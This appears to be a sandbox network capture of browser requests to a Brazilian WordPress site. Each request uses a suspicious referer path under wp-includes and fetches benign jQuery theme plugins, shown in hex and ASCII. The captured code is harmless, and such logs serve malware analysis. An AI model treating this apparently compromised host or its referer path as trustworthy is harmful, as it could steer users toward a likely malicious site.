Aug 16, 2022 11:53:41.046551943 CEST	2456	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:13 GMT Server: Apache ETag: "a53545-81a-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 2074 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836712 15075473 Age: 208 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2a 0a 20 2a 20 6a 51 75 65 72 79 20 4d 6f 62 69 6c 65 20 4d 65 6e 75 0a 20 2a 20 54 75 72 6e 20 75 6e 6f 72 64 65 72 65 64 20 6c 69 73 74 20 6d 65 6e 75 20 69 6e 74 6f 20 64 72 6f 70 64 6f 77 6e 20 73 65 6c 65 63 74 20 6d 65 6e 75 0a 20 2a 20 76 65 72 73 69 6f 6e 20 31 2e 30 28 33 31 2d 4f 43 54 2d 32 30 31 31 29 0a 20 2a 0a 20 2a 20 42 75 69 6c 74 20 6f 6e 20 74 6f 70 20 6f 66 20 74 68 65 20 6a 51 75 65 72 79 20 6c 69 62 72 61 72 79 0a 20 2a 20 20 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 44 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 0a 20 2a 20 20 20 68 74 74 70 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6d 61 6d 62 6f 77 73 2f 6d 6f 62 69 6c 65 6d 65 6e 75 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 09 24 2e 66 6e 2e 6d 6f 62 69 6c 65 4d 65 6e 75 20 3d 20 66 75 6e 63 74 69 6f 6e 28 6f 70 74 69 6f 6e 73 29 20 7b 0a 09 09 76 61 72 20 64 65 66 61 75 6c 74 73 20 3d 20 7b 0a 09 09 09 09 64 65 66 61 75 6c 74 54 65 78 74 3a 20 27 4e 61 76 69 67 61 74 65 20 74 6f 2e 2e 2e 27 2c 0a 09 09 09 09 63 6c 61 73 73 4e 61 6d 65 3a 20 27 73 65 6c 65 63 74 2d 6d 65 6e 75 27 2c 0a 09 09 09 09 73 75 62 4d 65 6e 75 43 6c 61 73 73 3a 20 27 73 75 62 2d 6d 65 6e 75 27 2c 0a 09 09 09 09 73 75 62 4d 65 6e 75 44 61 73 68 3a 20 27 26 6e 64 61 73 68 3b 27 0a 09 09 09 09 7d 2c 0a 09 09 09 73 65 74 74 69 6e 67 73 20 3d 20 24 2e 65 78 74 65 6e 64 28 20 64 65 66 61 75 6c 74 73 2c 20 6f 70 74 69 6f 6e 73 20 29 2c 0a 09 09 09 65 6c 20 3d 20 24 28 74 68 69 73 29 3b 0a 0a 09 09 24 28 22 68 65 61 64 22 29 2e 61 70 70 65 6e 64 28 27 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 40 6d 65 64 69 61 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 7b 2e 73 66 2d 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 20 2e 73 65 6c 65 63 74 2d 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 7d 7d 3c 2f 73 74 79 6c 65 3e 27 29 0a 0a 09 09 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 09 2f 2f 20 61 64 20 63 6c 61 73 73 20 74 6f 20 73 75 62 6d 65 6e 75 20 6c 69 73 74 0a 09 09 09 65 6c 2e 66 69 6e 64 28 27 75 6c 27 29 2e 61 64 64 43 6c 61 73 73 28 73 65 74 74 69 6e 67 73 2e 73 75 62 4d 65 6e 75 43 6c 61 73 73 29 3b 0a 0a 09 09 09 2f 2f 20 43 72 65 61 74 65 20 62 61 73 65 20 6d 65 6e 75 0a 09 09 09 24 28 27 3c 73 65 6c 65 63 74 20 2f 3e 27 2c 7b 27 63 6c 61 73 73 27 3a 73 65 74 74 69 6e 67 73 2e 63 6c 61 73 73 4e 61 6d 65 7d 29 2e 69 6e 73 65 72 74 41 66 74 65 72 28 65 6c 29 3b 0a 0a 09 09 09 2f 2f 20 43 72 65 61 74 65 20 64 65 66 61 75 6c 74 20 6f 70 74 69 6f 6e 0a 09 09 09 24 28 27 3c 6f 70 74 69 6f 6e 20 2f 3e 27 2c 20 7b 22 76 61 6c 75 65 22 3a 27 23 27 2c 20 22 74 65 78 74 22 3a 73 65 74 74 69 6e 67 73 2e 64 65 66 61 75 6c 74 54 65 78 74 7d 29 2e 61 70 70 65 6e 64 54 6f 28 20 27 2e 27 20 2b 20 73 65 74 74 69 6e 67 73 2e 63 6c 61 73 73 4e 61 6d 65 20 29 3b 0a 0a 09 09 09 2f 2f 20 43 72 65 61 74 65 20 Data Ascii: /** * jQuery Mobile Menu * Turn unordered list menu into dropdown select menu * version 1.0(31-OCT-2011) * * Built on top of the jQuery library * http://jquery.com * * Documentation * http://github.com/mambows/mobilemenu */(function($){$.fn.mobileMenu = function(options) {var defaults = {defaultText: 'Navigate to...',className: 'select-menu',subMenuClass: 'sub-menu',subMenuDash: '–'},settings = $.extend( defaults, options ),el = $(this);$("head").append('<style type="text/css">@media(max-width: 767px){.sf-menu{display:none;} .select-menu{display: block;}}</style>')this.each(function(){// ad class to submenu listel.find('ul').addClass(settings.subMenuClass);// Create base menu$('<select />',{'class':settings.className}).insertAfter(el);// Create default option$('<option />', {"value":'#', "text":settings.defaultText}).appendTo( '.' + settings.className );// Create
Aug 16, 2022 11:53:41.225598097 CEST	2458	OUT	GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:41.459870100 CEST	2482	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:12 GMT Server: Apache ETag: "a53568-b61-58592d4b67500" Last-Modified: Tue, 02 Apr 2019 21:29:24 GMT Content-Length: 2913 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836714 15664934 Age: 208 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 73 75 70 65 72 66 69 73 68 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 76 61 72 20 64 3d 61 2e 66 6e 2e 73 75 70 65 72 66 69 73 68 2c 65 3d 64 2e 63 2c 67 3d 61 28 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 27 2b 65 2e 61 72 72 6f 77 43 6c 61 73 73 2b 27 22 3e 20 26 23 31 38 37 3b 3c 2f 73 70 61 6e 3e 27 29 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 76 61 72 20 62 3d 61 28 74 68 69 73 29 2c 64 3d 6a 28 62 29 3b 28 22 6d 6f 75 73 65 65 6e 74 65 72 22 3d 3d 3d 63 2e 74 79 70 65 7c 7c 22 66 6f 63 75 73 69 6e 22 3d 3d 3d 63 2e 74 79 70 65 29 26 26 62 2e 63 68 69 6c 64 72 65 6e 28 22 61 22 29 2e 64 61 74 61 28 22 66 6f 6c 6c 6f 77 22 2c 21 30 29 3b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 64 2e 73 66 54 69 6d 65 72 29 3b 62 2e 73 68 6f 77 53 75 70 65 72 66 69 73 68 55 6c 28 29 2e 73 69 62 6c 69 6e 67 73 28 29 2e 68 69 64 65 53 75 70 65 72 66 69 73 68 55 6c 28 29 7d 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 76 61 72 20 62 3d 61 28 74 68 69 73 29 2c 66 3d 6a 28 62 29 2c 65 3d 64 2e 6f 70 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 72 65 74 61 69 6e 50 61 74 68 3d 2d 31 3c 61 2e 69 6e 41 72 72 61 79 28 62 5b 30 5d 2c 65 2e 24 70 61 74 68 29 3b 62 2e 68 69 64 65 53 75 70 65 72 66 69 73 68 55 6c 28 29 3b 65 2e 24 70 61 74 68 2e 6c 65 6e 67 74 68 26 26 31 3e 62 2e 70 61 72 65 6e 74 73 28 22 6c 69 2e 22 2b 65 2e 68 6f 76 65 72 43 6c 61 73 73 29 2e 6c 65 6e 67 74 68 26 26 28 65 2e 6f 6e 49 64 6c 65 2e 63 61 6c 6c 28 29 2c 61 2e 70 72 6f 78 79 28 6b 2c 0a 65 2e 24 70 61 74 68 2c 63 29 28 29 29 7d 3b 22 6d 6f 75 73 65 6c 65 61 76 65 22 21 3d 3d 63 2e 74 79 70 65 26 26 22 66 6f 63 75 73 6f 75 74 22 21 3d 3d 63 2e 74 79 70 65 3f 67 28 29 3a 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 66 2e 73 66 54 69 6d 65 72 29 2c 66 2e 73 66 54 69 6d 65 72 3d 73 65 74 54 69 6d 65 6f 75 74 28 67 2c 65 2e 64 65 6c 61 79 29 29 3b 28 22 6d 6f 75 73 65 6c 65 61 76 65 22 3d 3d 3d 63 2e 74 79 70 65 7c 7c 22 66 6f 63 75 73 6f 75 74 22 3d 3d 3d 63 2e 74 79 70 65 29 26 26 62 2e 63 68 69 6c 64 72 65 6e 28 22 61 22 29 2e 64 61 74 61 28 22 66 6f 6c 6c 6f 77 22 2c 21 31 29 7d 2c 6a 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 63 2e 68 61 73 43 6c 61 73 73 28 65 2e 6d 65 6e 75 43 6c 61 73 73 29 26 26 61 2e 65 72 72 6f 72 28 22 53 75 70 65 72 66 69 73 68 20 72 65 71 75 69 72 65 73 20 79 6f 75 20 74 6f 20 75 70 64 61 74 65 20 74 6f 20 61 20 76 65 72 73 69 6f 6e 20 6f 66 20 68 6f 76 65 72 49 6e 74 65 6e 74 20 74 68 61 74 20 73 75 70 70 6f 72 74 73 20 65 76 65 6e 74 2d 64 65 6c 65 67 61 74 69 6f 6e 2c 20 73 75 63 68 20 61 73 20 74 68 69 73 20 6f 6e 65 3a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6a 6f 65 6c 64 62 69 72 63 68 2f 6f 6e 48 6f 76 65 72 49 6e 74 65 6e 74 22 29 3b 63 3d 63 2e 63 6c 6f 73 65 73 74 28 22 2e 22 2b 65 2e 6d 65 6e 75 43 6c 61 73 73 29 5b 30 5d 3b 64 2e 6f 70 3d 64 2e 6f 5b 63 2e 73 65 72 69 61 6c 5d 3b 72 65 74 75 72 6e 20 63 7d 2c Data Ascii: (function(a){a.fn.superfish=function(f){var d=a.fn.superfish,e=d.c,g=a('<span class="'+e.arrowClass+'"> »</span>'),k=function(c){var b=a(this),d=j(b);("mouseenter"===c.type\|\|"focusin"===c.type)&&b.children("a").data("follow",!0);clearTimeout(d.sfTimer);b.showSuperfishUl().siblings().hideSuperfishUl()},l=function(c){var b=a(this),f=j(b),e=d.op,g=function(){e.retainPath=-1<a.inArray(b[0],e.$path);b.hideSuperfishUl();e.$path.length&&1>b.parents("li."+e.hoverClass).length&&(e.onIdle.call(),a.proxy(k,e.$path,c)())};"mouseleave"!==c.type&&"focusout"!==c.type?g():(clearTimeout(f.sfTimer),f.sfTimer=setTimeout(g,e.delay));("mouseleave"===c.type\|\|"focusout"===c.type)&&b.children("a").data("follow",!1)},j=function(c){c.hasClass(e.menuClass)&&a.error("Superfish requires you to update to a version of hoverIntent that supports event-delegation, such as this one: https://github.com/joeldbirch/onHoverIntent");c=c.closest("."+e.menuClass)[0];d.op=d.o[c.serial];return c},
Aug 16, 2022 11:53:41.466103077 CEST	2485	OUT	GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:41.702476978 CEST	2486	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:13 GMT Server: Apache ETag: "a53571-9ca-58592d4b67500" Last-Modified: Tue, 02 Apr 2019 21:29:24 GMT Content-Length: 2506 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836716 15075477 Age: 208 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 09 24 2e 66 6e 2e 74 6d 53 74 69 63 6b 55 70 3d 66 75 6e 63 74 69 6f 6e 28 6f 70 74 69 6f 6e 73 29 7b 0a 0a 09 09 76 61 72 20 67 65 74 4f 70 74 69 6f 6e 73 20 3d 20 7b 0a 09 09 09 63 6f 72 72 65 63 74 69 6f 6e 53 65 6c 65 63 74 6f 72 3a 20 24 28 27 2e 63 6f 72 72 65 63 74 69 6f 6e 53 65 6c 65 63 74 6f 72 27 29 0a 09 09 2c 09 6c 69 73 74 65 6e 53 65 6c 65 63 74 6f 72 3a 20 24 28 27 2e 6c 69 73 74 65 6e 53 65 6c 65 63 74 6f 72 27 29 0a 09 09 2c 09 61 63 74 69 76 65 3a 20 66 61 6c 73 65 0a 09 09 2c 09 70 73 65 75 64 6f 3a 20 74 72 75 65 0a 09 09 7d 0a 09 09 24 2e 65 78 74 65 6e 64 28 67 65 74 4f 70 74 69 6f 6e 73 2c 20 6f 70 74 69 6f 6e 73 29 3b 0a 0a 09 09 76 61 72 0a 09 09 09 5f 74 68 69 73 20 3d 20 24 28 74 68 69 73 29 0a 09 09 2c 09 5f 77 69 6e 64 6f 77 20 3d 20 24 28 77 69 6e 64 6f 77 29 0a 09 09 2c 09 5f 64 6f 63 75 6d 65 6e 74 20 3d 20 24 28 64 6f 63 75 6d 65 6e 74 29 0a 09 09 2c 09 74 68 69 73 4f 66 66 73 65 74 54 6f 70 20 3d 20 30 0a 09 09 2c 09 74 68 69 73 4f 75 74 65 72 48 65 69 67 68 74 20 3d 20 30 0a 09 09 2c 09 74 68 69 73 4d 61 72 67 69 6e 54 6f 70 20 3d 20 30 0a 09 09 2c 09 74 68 69 73 50 61 64 64 69 6e 67 54 6f 70 20 3d 20 30 0a 09 09 2c 09 64 6f 63 75 6d 65 6e 74 53 63 72 6f 6c 6c 20 3d 20 30 0a 09 09 2c 09 70 73 65 75 64 6f 42 6c 6f 63 6b 0a 09 09 2c 09 6c 61 73 74 53 63 72 6f 6c 6c 56 61 6c 75 65 20 3d 20 30 0a 09 09 2c 09 73 63 72 6f 6c 6c 44 69 72 20 3d 20 27 27 0a 09 09 2c 09 74 6d 70 53 63 72 6f 6c 6c 65 64 0a 09 09 3b 0a 0a 09 09 69 66 20 28 5f 74 68 69 73 2e 6c 65 6e 67 74 68 20 21 3d 20 30 29 20 7b 0a 09 09 09 69 6e 69 74 28 29 3b 0a 09 09 7d 0a 0a 09 09 66 75 6e 63 74 69 6f 6e 20 69 6e 69 74 28 29 7b 0a 09 09 09 74 68 69 73 4f 66 66 73 65 74 54 6f 70 20 3d 20 70 61 72 73 65 49 6e 74 28 5f 74 68 69 73 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 29 3b 0a 09 09 09 74 68 69 73 4d 61 72 67 69 6e 54 6f 70 20 3d 20 70 61 72 73 65 49 6e 74 28 5f 74 68 69 73 2e 63 73 73 28 22 6d 61 72 67 69 6e 2d 74 6f 70 22 29 29 3b 0a 09 09 09 74 68 69 73 4f 75 74 65 72 48 65 69 67 68 74 20 3d 20 70 61 72 73 65 49 6e 74 28 5f 74 68 69 73 2e 6f 75 74 65 72 48 65 69 67 68 74 28 74 72 75 65 29 29 3b 0a 0a 09 09 09 69 66 28 67 65 74 4f 70 74 69 6f 6e 73 2e 70 73 65 75 64 6f 29 7b 0a 09 09 09 09 24 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 73 65 75 64 6f 53 74 69 63 6b 79 42 6c 6f 63 6b 22 3e 3c 2f 64 69 76 3e 27 29 2e 69 6e 73 65 72 74 41 66 74 65 72 28 5f 74 68 69 73 29 3b 0a 09 09 09 09 70 73 65 75 64 6f 42 6c 6f 63 6b 20 3d 20 24 28 27 2e 70 73 65 75 64 6f 53 74 69 63 6b 79 42 6c 6f 63 6b 27 29 3b 0a 09 09 09 09 70 73 65 75 64 6f 42 6c 6f 63 6b 2e 63 73 73 28 7b 22 70 6f 73 69 74 69 6f 6e 22 3a 22 72 65 6c 61 74 69 76 65 22 2c 20 22 64 69 73 70 6c 61 79 22 3a 22 62 6c 6f 63 6b 22 7d 29 3b 0a 09 09 09 7d 0a 0a 09 09 09 69 66 28 67 65 74 4f 70 74 69 6f 6e 73 2e 61 63 74 69 76 65 29 7b 0a 09 09 09 09 61 64 64 45 76 65 6e 74 73 46 75 Data Ascii: (function($){$.fn.tmStickUp=function(options){var getOptions = {correctionSelector: $('.correctionSelector'),listenSelector: $('.listenSelector'),active: false,pseudo: true}$.extend(getOptions, options);var_this = $(this),_window = $(window),_document = $(document),thisOffsetTop = 0,thisOuterHeight = 0,thisMarginTop = 0,thisPaddingTop = 0,documentScroll = 0,pseudoBlock,lastScrollValue = 0,scrollDir = '',tmpScrolled;if (_this.length != 0) {init();}function init(){thisOffsetTop = parseInt(_this.offset().top);thisMarginTop = parseInt(_this.css("margin-top"));thisOuterHeight = parseInt(_this.outerHeight(true));if(getOptions.pseudo){$('<div class="pseudoStickyBlock"></div>').insertAfter(_this);pseudoBlock = $('.pseudoStickyBlock');pseudoBlock.css({"position":"relative", "display":"block"});}if(getOptions.active){addEventsFu
Aug 16, 2022 11:53:41.705841064 CEST	2488	OUT	GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:41.942399025 CEST	2547	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:13 GMT Server: Apache ETag: "a534b6-ada-58592d488ae40" Last-Modified: Tue, 02 Apr 2019 21:29:21 GMT Content-Length: 2778 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836718 15075479 Age: 208 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 64 65 76 69 63 65 2e 6a 73 20 30 2e 31 2e 35 38 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 3b 61 3d 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 2c 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 3d 7b 7d 2c 63 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 6a 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 64 65 76 69 63 65 2e 69 6f 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 6f 64 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 61 64 28 29 7d 2c 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 6f 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 6f 64 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 61 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 61 6e 64 72 6f 69 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 21 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 62 6c 61 63 6b 62 65 72 72 79 22 29 7c 7c 64 28 22 62 62 31 30 22 29 7c 7c 64 28 22 72 69 6d 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 21 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 77 69 6e 64 6f 77 73 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 74 6f 75 63 68 22 29 7d 2c 64 65 76 69 Data Ascii: /! device.js 0.1.58 /(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()\|\|device.ipod()\|\|device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")\|\|d("bb10")\|\|d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},devi
Aug 16, 2022 11:53:41.945127010 CEST	2550	OUT	GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:42.178750038 CEST	2563	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:14 GMT Server: Apache ETag: "a534af-99ea-58592d497f080" Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT Content-Length: 39402 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836720 15075481 Age: 208 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2f 20 43 61 6d 65 72 61 20 73 6c 69 64 65 73 68 6f 77 20 76 31 2e 33 2e 34 20 2d 20 61 20 6a 51 75 65 72 79 20 73 6c 69 64 65 73 68 6f 77 20 77 69 74 68 20 6d 61 6e 79 20 65 66 66 65 63 74 73 2c 20 74 72 61 6e 73 69 74 69 6f 6e 73 2c 20 65 61 73 79 20 74 6f 20 63 75 73 74 6f 6d 69 7a 65 2c 20 75 73 69 6e 67 20 63 61 6e 76 61 73 20 61 6e 64 20 6d 6f 62 69 6c 65 20 72 65 61 64 79 2c 20 62 61 73 65 64 20 6f 6e 20 6a 51 75 65 72 79 20 31 2e 34 2b 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 32 20 62 79 20 4d 61 6e 75 65 6c 20 4d 61 73 69 61 20 2d 20 77 77 77 2e 70 69 78 65 64 65 6c 69 63 2e 63 6f 6d 0a 2f 2f 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 63 61 6d 65 72 61 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 69 66 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 41 6e 64 72 6f 69 64 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 77 65 62 4f 53 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 69 50 61 64 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 69 50 68 6f 6e 65 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 69 50 6f 64 2f 69 29 29 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 48 28 29 7b 76 61 72 20 62 3d 61 28 73 29 2e 77 69 64 74 68 28 29 3b 61 28 22 6c 69 22 2c 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 63 61 6d 65 72 61 5f 76 69 73 54 68 75 6d 62 22 29 3b 61 28 22 6c 69 22 2c 73 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 61 28 74 68 69 73 29 2e 70 6f 73 69 74 69 6f 6e 28 29 2c 64 3d 61 28 22 75 6c 22 2c 73 29 2e 6f 75 74 65 72 57 69 64 74 68 28 29 2c 65 3d 61 28 22 75 6c 22 2c 73 29 2e 6f 66 66 73 65 74 28 29 2e 6c 65 66 74 2c 66 3d 61 28 22 3e 20 64 69 76 22 2c 73 29 2e 6f 66 66 73 65 74 28 29 2e 6c 65 66 74 2c 67 3d 66 2d 65 3b 69 66 28 67 3e 30 29 7b 61 28 22 2e 63 61 6d 65 72 61 5f 70 72 65 76 54 68 75 6d 62 73 22 2c 56 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 65 6c 73 65 7b 61 28 22 2e 63 61 6d 65 72 61 5f 70 72 65 76 54 68 75 6d 62 73 22 2c 56 29 2e 61 64 64 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 69 66 28 64 2d 67 3e 62 29 7b 61 28 22 2e 63 61 